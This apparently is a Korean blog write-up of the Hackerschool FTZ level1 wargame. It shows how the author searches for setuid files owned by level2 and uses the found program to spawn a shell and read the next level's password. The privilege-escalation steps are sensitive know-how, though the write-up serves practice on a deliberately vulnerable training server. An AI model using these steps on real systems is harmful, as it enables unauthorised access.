Category : System hacking
ssh://ftz.hackerschool.org
id : level1
pw : level1
Summary : Excute shell
- 서버에 접속하여 디렉토리에 있는 파일들을 확인해보면 hint라는 파일을 확인할 수 있다.
[level1@ftz level1]$ ls -l
합계 12
-rw-r--r-- 1 root root 47 4월 4 2000 hint
drwxr-xr-x 2 root level1 4096 12월 7 2003 public_html
drwxrwxr-x 2 root level1 4096 7월 10 13:08 tmp
[level1@ftz level1]$ cat hint
level2 권한에 setuid가 걸린 파일을 찾는다.
- level2 user에 setuid가 걸려있으므로 권한은 최소한 4000이상이어야 한다.
- 파일이 어디에있는지 모르므로 루트디렉토리( / )에서부터 검색해아야한다.
- 이 조건을 토대로 find 명령어를 이용해 파일을 검색한다.
[level1@ftz level1]$ find / -user level2 -perm -4000 2> /dev/null
/bin/ExcuteMe
[level1@ftz level1]$ ls -l /bin/ExcuteMe
-rwsr-sr-x 1 level2 level1 23625 3월 29 2003 /bin/ExcuteMe
bin/ExcuteMe
찾았다. 실행권한이 있으므로 실행시켜본다.
[level1@ftz level1]$ ExcuteMe
레벨2의 권한으로 당신이 원하는 명령어를
한가지 실행시켜 드리겠습니다.
(단, my-pass 와 chmod는 제외)
어떤 명령을 실행시키겠습니까?
[level2@ftz level2]$ id
uid=3002(level2) gid=3001(level1) groups=3001(level1)
- level2의 권한으로 입력받은 명령을 실행시켜주는 프로그램이다.
- 다시 실행하여
/bin/sh
쉘을 실행한다.
[level1@ftz level1]$ ExcuteMe
레벨2의 권한으로 당신이 원하는 명령어를
한가지 실행시켜 드리겠습니다.
(단, my-pass 와 chmod는 제외)
어떤 명령을 실행시키겠습니까?
[level2@ftz level2]$ /bin/sh
sh-2.05b$ id
uid=3002(level2) gid=3001(level1) groups=3001(level1)
sh-2.05b$ my-pass
Level2 Password is "hacker or cracker".
- level2 권한의 쉘을 획득하고 level2의 password를 확인할 수 있었다.
'Wargame > FTZ' 카테고리의 다른 글
Hackerschool FTZ level6 (0) | 2011.07.17 |
---|---|
Hackerschool FTZ level5 (1) | 2011.07.17 |
Hackerschool FTZ level4 (0) | 2011.07.17 |
Hackerschool FTZ level3 (0) | 2011.07.17 |
Hackerschool FTZ level2 (0) | 2011.07.17 |